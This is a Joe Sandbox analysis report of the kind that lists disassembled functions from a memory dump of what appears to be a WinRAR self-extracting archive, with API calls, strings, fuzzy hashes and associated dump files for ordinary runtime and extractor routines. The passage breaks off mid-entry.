Instruction ID: 303928d1bbf6a2ff854c9fd05737a2b5c757df51480d21cb3730a05d136a1bf9
Opcode Fuzzy Hash: c5aacc7d3bf90c30aa8a4618c48231a2257dd42d29752bb85db0feb902625d90
Instruction Fuzzy Hash: 36111D62A18B8596E721AF22F8903E9B361FF88B44F844135DB5D037A9DF3CD245C794

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D66768 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32 ref: 00007FF7F4D66799

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 4077126cdc8ab987fc50741f9daa8f64bdc94cd5a3d95bfaac1a76796dfe440a
Instruction ID: bc3b2e1068c12707358b0b16fd9fe7ef9fad2b5a54e4dba50c41ac9a3d31dfa6
Opcode Fuzzy Hash: 4077126cdc8ab987fc50741f9daa8f64bdc94cd5a3d95bfaac1a76796dfe440a
Instruction Fuzzy Hash: 8E01297AA089429BE724AF06E890375B3A1FB98710F900235D7AE427D4DF3CE5058E60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D8C034 Relevance: 1.5, Strings: 1, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF7F4D8C1EB

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 8a078738266dd42ed559e37769a38083d9671446fa6f8f15044a9e5823959058
Instruction ID: bae754a41957c42bb5761a5084646e8fb189947ae4bc3fcfdd5e97f87ad2f09b
Opcode Fuzzy Hash: 8a078738266dd42ed559e37769a38083d9671446fa6f8f15044a9e5823959058
Instruction Fuzzy Hash: AF81A122A18242C7EBA4AE17C4C067DB2E1BB41FC4F941531DF29977D9CE2DE84696E0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D8BDB8 Relevance: 1.4, Strings: 1, Instructions: 199COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF7F4D8BF52

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: db1fee231e5625b661d99c0bb1e1601d32928d345e8b8bd10099f265d6b394a5
Instruction ID: 0e7bfa9ae6c89d13faff2d32456e3af58c43976128ce0747d249097bb1d193e6
Opcode Fuzzy Hash: db1fee231e5625b661d99c0bb1e1601d32928d345e8b8bd10099f265d6b394a5
Instruction Fuzzy Hash: 8971D321A196424BE7656E17D0C027DF390BF41B44F941536FF288B6DACF2EE8468BE1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D8FCD8 Relevance: 1.4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

Strings

@, xrefs: 00007FF7F4D8FD14

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: d46d2d3bf678a46395eb5f5669d2d3d1460b5a19965d13b7a0c752fab2dc10ff
Instruction ID: 098bb5064ab4d0d2ce0f56392aa5ee165ed1f31157f21a46028eb9cf65c6e1eb
Opcode Fuzzy Hash: d46d2d3bf678a46395eb5f5669d2d3d1460b5a19965d13b7a0c752fab2dc10ff
Instruction Fuzzy Hash: 4D418C32714A4586EF04AF2AD8942A9B3A1F758FD4B89A036DF5D87795EE3CD141C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D94170 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF7F4D94174

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: fb17e31c4336a6e786549368164ea907063e7b7d29ca402ec9a733d541c9e3a8
Instruction ID: e23d419409d15eb8b5460699de29409e0b83e54b0974300c9af1701d9e48b39d
Opcode Fuzzy Hash: fb17e31c4336a6e786549368164ea907063e7b7d29ca402ec9a733d541c9e3a8
Instruction Fuzzy Hash: A0B09220E07A0AC7EB083F12BCC221872A8BF48B01FD58039C25C813A0DE2C60A58BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D6BF08 Relevance: .6, Instructions: 587COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43769c6bae4104b0ec7f69f72cb22ead7c75c3f90e791b6b37d14b87d96b02d3
Instruction ID: 29120d04e1ccad1bb81a06c6b7b9802640718c08792f965291f3605917db2fa8
Opcode Fuzzy Hash: 43769c6bae4104b0ec7f69f72cb22ead7c75c3f90e791b6b37d14b87d96b02d3
Instruction Fuzzy Hash: 67220673B246508BD728CF26D89AE5E3766F798744B4B8228DF0ACB785DB38D505CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D6B314 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2f19e6b73aee1f2f5e000d2da9400488e5c9e4bdb3b1ca053d999cefcb7b96b
Instruction ID: 193d7ef76fad49858e95eaa769afa74637448216d3fc8f5534f79389bece3760
Opcode Fuzzy Hash: c2f19e6b73aee1f2f5e000d2da9400488e5c9e4bdb3b1ca053d999cefcb7b96b
Instruction Fuzzy Hash: 6FD1AC72A191E08EE312CB7AA0544BEBFB5E31D34DB898261DFD55364AC52EE102DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D6B944 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a52658466727774bbc5190e23dd1b7b6af61c425033d8b5861d1633cf72f70c
Instruction ID: 4735a114c324935855ff9b30b375452c5524f60033875dcd55b4bfd7d509f192
Opcode Fuzzy Hash: 1a52658466727774bbc5190e23dd1b7b6af61c425033d8b5861d1633cf72f70c
Instruction Fuzzy Hash: CE615B23B195E19AEB11DF76C5404FDBFB5E719784B854032CFA95368ACA3CE205CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D98DB0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a32c869db70b81adf3522ed7f59e1138653d4678039c6ce20c10f5af40288726
Instruction ID: ac596ea15280381d35e8d503148dc0a69114257906651e05e0f7e549b164186d
Opcode Fuzzy Hash: a32c869db70b81adf3522ed7f59e1138653d4678039c6ce20c10f5af40288726
Instruction Fuzzy Hash: 4BF068717292658BDBA49F29F89262977D0F708380F80807AD79D83B44D73DD0618F54

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D86AE4 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f94cb7f15edc88b1d12639b83f3e26873c5ba86b2582cc478741a5978fcbbfad
Instruction ID: dfdb69341c79bfd9dd0375c38dff95f37cf7507b1f12b19232b0cd9cf18dff06
Opcode Fuzzy Hash: f94cb7f15edc88b1d12639b83f3e26873c5ba86b2582cc478741a5978fcbbfad
Instruction Fuzzy Hash: CFA0012590A906D2EB44AF02E8A0030B720BB90714B810131D26D811E1DE2CB880C2A1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D861A0 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF7F4D861B6
GetModuleHandleW.KERNEL32 ref: 00007FF7F4D861C3
GetModuleHandleW.KERNEL32 ref: 00007FF7F4D861D8
GetProcAddress.KERNEL32 ref: 00007FF7F4D861F0
GetProcAddress.KERNEL32 ref: 00007FF7F4D86203
CreateEventW.KERNEL32 ref: 00007FF7F4D8622F
DeleteCriticalSection.KERNEL32 ref: 00007FF7F4D8627B
CloseHandle.KERNEL32 ref: 00007FF7F4D8628D

Strings

WakeAllConditionVariable, xrefs: 00007FF7F4D861F6
kernel32.dll, xrefs: 00007FF7F4D861D1
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00007FF7F4D861BC
SleepConditionVariableCS, xrefs: 00007FF7F4D861E6

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 0b79975b7dd6f8f0ba486823e03a824d6b613ffbf8d8ef1d3073c77c991e81f6
Instruction ID: 58c94c5692ea409d5dec6677fd2e3b9d6bcd67c7fb59cfb2e00ddf978c432025
Opcode Fuzzy Hash: 0b79975b7dd6f8f0ba486823e03a824d6b613ffbf8d8ef1d3073c77c991e81f6
Instruction Fuzzy Hash: 5921B920A0AA0B93EF15BF52E8D4675B2A0BF44B50FC40035DB2E427E5EE2CE55583E0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D7DF44 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 269COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F4D612BC: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7F4D613B6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D7E233
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D7E239
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D7E23F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D7E245
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D7E24B
EndDialog.USER32 ref: 00007FF7F4D7E2CA

Strings

Software\WinRAR SFX, xrefs: 00007FF7F4D7E02F, 00007FF7F4D7E03E
GETPASSWORD1, xrefs: 00007FF7F4D7E283

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskDialog
String ID: GETPASSWORD1$Software\WinRAR SFX
API String ID: 431506467-1315819833
Opcode ID: 298c586111d514159f6b3e130679215706b4aae0a9f6553a775b1ee798cc2d48
Instruction ID: bd45be35c7c416e2d9bd72e048ac1e1bf2dec550e803bcfb4eac0dd0db8c78b3
Opcode Fuzzy Hash: 298c586111d514159f6b3e130679215706b4aae0a9f6553a775b1ee798cc2d48
Instruction Fuzzy Hash: C8B1A262F1974296FB00AF66D4C52BCB362BB45798F804235DF6C26AD9DE3CE445C390

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D91B20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F4D91C9D

Strings

nan(ind), xrefs: 00007FF7F4D91BD6
INF, xrefs: 00007FF7F4D91B93
NAN(SNAN), xrefs: 00007FF7F4D91BB5
nan, xrefs: 00007FF7F4D91B88
inf, xrefs: 00007FF7F4D91BA6
NAN, xrefs: 00007FF7F4D91B81
nan(snan), xrefs: 00007FF7F4D91BC0
NAN(IND), xrefs: 00007FF7F4D91BCB

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: ecb774820e808d1f0f9a4e937ddb804214af7c9ed034d139096f4d2aec068b6e
Instruction ID: 3711a039317e0f695eb3fa21373d4e509675da848b58f4db76373e1184c43a1b
Opcode Fuzzy Hash: ecb774820e808d1f0f9a4e937ddb804214af7c9ed034d139096f4d2aec068b6e
Instruction Fuzzy Hash: 1A417D32A05B458AFB04DF26E8817AD73A4EB14798F844239DF6C47B94EE3CD025C394

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D82EA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

GetWindow.USER32 ref: 00007FF7F4D82EDF
GetClassNameW.USER32 ref: 00007FF7F4D82F0C
GetWindowLongPtrW.USER32 ref: 00007FF7F4D82F2D
IsDlgButtonChecked.USER32 ref: 00007FF7F4D82F47
GetObjectW.GDI32 ref: 00007FF7F4D82F62
IsDlgButtonChecked.USER32 ref: 00007FF7F4D82F97
DeleteObject.GDI32 ref: 00007FF7F4D82FA0
GetWindow.USER32 ref: 00007FF7F4D82FAE

Strings

STATIC, xrefs: 00007FF7F4D82F12

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: Window$ButtonCheckedObject$ClassDeleteLongName
String ID: STATIC
API String ID: 781704138-1882779555
Opcode ID: bc0be446892835b112d3ea8da969d9d501e29b07b714163f2e7357c3afb8a8db
Instruction ID: af540e93b9a94629f5ee649693f8673222e266ee5e1d651d0a43bdc2527ac37c
Opcode Fuzzy Hash: bc0be446892835b112d3ea8da969d9d501e29b07b714163f2e7357c3afb8a8db
Instruction Fuzzy Hash: 22317025A1864247EB20AF13E8947B9F391BB89BC0F840031DF6D47BD6DE3CE40686A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D680B0 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 444COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6874A

Part of subcall function 00007FF7F4D61BD4: std::_Xinvalid_argument.LIBCPMT ref: 00007FF7F4D61BDF

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D68756
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6875C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D68768
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6877A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D68780

Strings

UNC, xrefs: 00007FF7F4D68263
\\?\, xrefs: 00007FF7F4D680FB, 00007FF7F4D6810A

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Xinvalid_argumentstd::_
String ID: UNC$\\?\
API String ID: 4097890229-253988292
Opcode ID: 43643b174e56843467f28f8f267d802de6be347339de23e5bba293cc8b85cc71
Instruction ID: 78f3d7cd9cea680a5daed3ac38ba585ced463780bd68e03963c9ddf96107dc60
Opcode Fuzzy Hash: 43643b174e56843467f28f8f267d802de6be347339de23e5bba293cc8b85cc71
Instruction Fuzzy Hash: 4812D122B0AA46D6EB10EF66D4941ADB371FB41B88F904131EB6D07AE9DF3CE545C390

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D7AAD0 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7F4D7BAEB), ref: 00007FF7F4D7ACD0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D7ADCB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D7ADD1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D7ADD7

Strings

<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00007FF7F4D7AB7C, 00007FF7F4D7AB8B
</html>, xrefs: 00007FF7F4D7ABC2, 00007FF7F4D7ABD1
<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>, xrefs: 00007FF7F4D7AB25, 00007FF7F4D7AB34
<html>, xrefs: 00007FF7F4D7AB63

Memory Dump Source

